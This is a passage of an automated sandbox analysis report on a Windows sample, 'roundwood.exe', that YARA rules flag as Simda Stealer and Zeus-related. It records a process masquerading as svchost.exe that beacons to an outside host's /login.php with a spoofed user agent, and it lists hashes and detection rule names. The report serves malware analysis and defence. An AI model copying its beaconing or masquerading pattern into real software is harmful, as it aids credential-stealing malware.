                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 36 31 33 31 34 31 35 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 2c 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 20 62 6f 64 79 7b 68 65 69 67 68 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 20 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 62 6f 64 79 7b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d
                                                                                                                                                                                                          Data Ascii: 6131415000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!important;width:100%!important}html:not([amp4ads]),html:not([amp4ads]) body{height:auto!important}html:not([amp4ads]) body{margin:0!important}body{-webkit-text-size-adjust:100%;-m
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 64 69 73 61 62 6c 65 64 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 64 69 73 61 62 6c 65 64 7b 6f 76
                                                                                                                                                                                                          Data Ascii: .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{visibility:hidden}#i-amphtml-wrapper+body[i-amphtml-lightbox] .i-amphtml-lightbox-element{visibility:visible}#i-amphtml-wrapper.i-amphtml-scroll-disabled,.i-amphtml-scroll-disabled{ov
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29 3a 6e 6f 74 28 5b 64 69 73 74 61 6e 63 65 5d 29 3a 6e 6f 74 28 5b 61 63 74 69 76 65 5d 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 30 30 76 68 29 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3e 69 6e 70 75 74 2c 61 6d 70 2d 61 75 74 6f 63 6f
                                                                                                                                                                                                          Data Ascii: -loader-background{display:none!important}amp-story-page:not(:first-of-type):not([distance]):not([active]){transform:translateY(1000vh)!important}amp-autocomplete{position:relative!important;display:inline-block!important}amp-autocomplete>input,amp-autoco
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 69 7a 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 69 6e 74 72 69 6e 73 69 63 2d 73 69 7a 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72
                                                                                                                                                                                                          Data Ascii: width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;position:relative;max-width:100%}.i-amphtml-layout-intrinsic .i-amphtml-sizer{max-width:100%}.i-amphtml-intrinsic-sizer{max-width:100%;display:block!important}.i-amphtml-layout-container
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 72 69 67 68 74 3a 30 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 72 65 70 6c 61 63 65 64 2d 63 6f 6e 74 65 6e 74 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 65 65 6e 2d 72 65 61 64 65 72 7b 70 61 64 64 69 6e 67 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 65 65 6e 2d 72 65 61 64 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 21 69 6d 70 6f 72 74 61 6e 74 3b 74 6f 70 3a 30 70 78 21 69 6d 70 6f
                                                                                                                                                                                                          Data Ascii: phtml-layout-size-defined .i-amphtml-fill-content{position:absolute;top:0;left:0;bottom:0;right:0}.i-amphtml-replaced-content,.i-amphtml-screen-reader{padding:0!important;border:none!important}.i-amphtml-screen-reader{position:fixed!important;top:0px!impo
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 5b 69 2d 61 6d 70 68 74 6d 6c 2d 73 73 72 5d 3e 69 6d 67 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 74 62 75 69 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 2c 5b 77 69 64
                                                                                                                                                                                                          Data Ascii: not([layout]):not(.i-amphtml-element)>*{display:none}amp-img:not(.i-amphtml-element)[i-amphtml-ssr]>img.i-amphtml-fill-content{display:block}.i-amphtml-notbuilt:not(.i-amphtml-layout-container),[layout]:not([layout=container]):not(.i-amphtml-element),[wid
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 2d 71 75 65 72 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 65 64 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 2d 65 72 72 6f 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 61 74 74 72 28 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 29 7d 69 2d 61 6d 70 2d 73 63 72 6f 6c 6c 2d 63 6f 6e 74 61 69 6e 65 72 2c 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 63 6f 6e 74 61 69 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74
                                                                                                                                                                                                          Data Ascii: -query{display:none!important}.i-amphtml-element-error{background:red!important;color:#fff!important;position:relative!important}.i-amphtml-element-error:before{content:attr(error-message)}i-amp-scroll-container,i-amphtml-scroll-container{position:absolut
                                                                                                                                                                                                          2024-08-23 16:43:49 UTC1369INData Raw: 65 72 72 6f 72 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 2d 73 75 63 63 65 73 73 5d 2c 66 6f 72 6d 20 5b 73 75 62 6d 69 74 74 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 70 78 29 7b 3a 77 68 65 72 65 28 61 6d 70 2d 61 63 63 6f 72 64 69 6f 6e 3e 73 65 63 74 69 6f 6e 29 3e 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 66 65 66 65 66 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 7d 3a 77 68 65 72 65 28 61 6d 70 2d 61 63
                                                                                                                                                                                                          Data Ascii: error],form [submit-success],form [submitting]{display:none}amp-accordion{display:block!important}@media (min-width:1px){:where(amp-accordion>section)>:first-child{margin:0;background-color:#efefef;padding-right:20px;border:1px solid #dfdfdf}:where(amp-ac


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          7192.168.2.550848188.114.96.34435284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-08-23 16:43:51 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-08-23 16:43:51 UTC6OUTData Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          2024-08-23 16:43:53 UTC905INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:53 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          server-timing: amp_sanitizer;dur="60.4",amp_style_sanitizer;dur="25.0",amp_tag_and_attribute_sanitizer;dur="28.8",amp_optimizer;dur="27.3"
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2tece5BWV8IkYRy59M7RuAxejrceWuYYZ1Hi%2BTV2i4%2FVCwx3UmpAbW4PHfjr8zX4%2B5RHUEWCJlKQ1jqj3NjOtljicf3Hk2jviyb2WxLlxajy0t%2BE6iewf%2Bhzu%2BZExA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c905ed8f67ce2-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          2024-08-23 16:43:53 UTC464INData Raw: 37 63 32 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62
                                                                                                                                                                                                          Data Ascii: 7c28<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
                                                                                                                                                                                                          2024-08-23 16:43:53 UTC1369INData Raw: 33 31 34 31 35 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 2c 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 20 62 6f 64 79 7b 68 65 69 67 68 74 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 3a 6e 6f 74 28 5b 61 6d 70 34 61 64 73 5d 29 20 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 62 6f 64 79 7b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 6f 7a
                                                                                                                                                                                                          Data Ascii: 31415000">html{overflow-x:hidden!important}html.i-amphtml-fie{height:100%!important;width:100%!important}html:not([amp4ads]),html:not([amp4ads]) body{height:auto!important}html:not([amp4ads]) body{margin:0!important}body{-webkit-text-size-adjust:100%;-moz
                                                                                                                                                                                                          2024-08-23 16:43:53 UTC1369INData Raw: 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 5d 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 64 69 73 61 62 6c 65 64 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 63 72 6f 6c 6c 2d 64 69 73 61 62 6c 65 64 7b 6f 76 65 72
                                                                                                                                                                                                          Data Ascii: -amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox]{visibility:hidden}#i-amphtml-wrapper+body[i-amphtml-lightbox] .i-amphtml-lightbox-element{visibility:visible}#i-amphtml-wrapper.i-amphtml-scroll-disabled,.i-amphtml-scroll-disabled{over
                                                                                                                                                                                                          2024-08-23 16:43:53 UTC1369INData Raw: 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 29 3a 6e 6f 74 28 5b 64 69 73 74 61 6e 63 65 5d 29 3a 6e 6f 74 28 5b 61 63 74 69 76 65 5d 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 30 30 30 76 68 29 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3e 69 6e 70 75 74 2c 61 6d 70 2d 61 75 74 6f 63 6f 6d 70
                                                                                                                                                                                                          Data Ascii: oader-background{display:none!important}amp-story-page:not(:first-of-type):not([distance]):not([active]){transform:translateY(1000vh)!important}amp-autocomplete{position:relative!important;display:inline-block!important}amp-autocomplete>input,amp-autocomp
                                                                                                                                                                                                          2024-08-23 16:43:53 UTC1369INData Raw: 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 73 69 7a 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 69 6e 74 72 69 6e 73 69 63 2d 73 69 7a 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e
                                                                                                                                                                                                          Data Ascii: dth][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;position:relative;max-width:100%}.i-amphtml-layout-intrinsic .i-amphtml-sizer{max-width:100%}.i-amphtml-intrinsic-sizer{max-width:100%;display:block!important}.i-amphtml-layout-container,.


                                                                                                                                                                                                          Statistics

                                                                                                                                                                                                          CPU Usage

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          Memory Usage

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          High Level Behavior Distribution

                                                                                                                                                                                                          Click to dive into process behavior distribution

                                                                                                                                                                                                          Behavior

                                                                                                                                                                                                          Click to jump to process

                                                                                                                                                                                                          System Behavior

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:0
                                                                                                                                                                                                          Start time:12:42:08
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Users\user\Desktop\roundwood.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Users\user\Desktop\roundwood.exe"
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          File size:223'888 bytes
                                                                                                                                                                                                          MD5 hash:CE11C26163587185B09CB6720E4F0D76
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000003.2027860859.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000000.00000002.2033223674.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Author: unknown
                                                                                                                                                                                                          Reputation:low
                                                                                                                                                                                                          Has exited:true

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Target ID:2
                                                                                                                                                                                                          Start time:12:42:09
                                                                                                                                                                                                          Start date:23/08/2024
                                                                                                                                                                                                          Path:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                                                          Commandline:"C:\Windows\apppatch\svchost.exe"
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          File size:223'888 bytes
                                                                                                                                                                                                          MD5 hash:B3CAC91D21D93F1989191CE7572B7F7E
                                                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                                                          Yara matches:
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2418070085.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2471833561.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2500002475.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2499726055.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2048298647.0000000002970000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2508798151.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2482262641.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2499866560.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2487147831.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2392591021.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2458081836.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2422680364.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2500272198.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: JoeSecurity_SimdaStealer, Description: Yara detected Simda Stealer, Source: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: Joe Security
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Author: unknown
                                                                                                                                                                                                          • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000002.00000003.2508679184.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
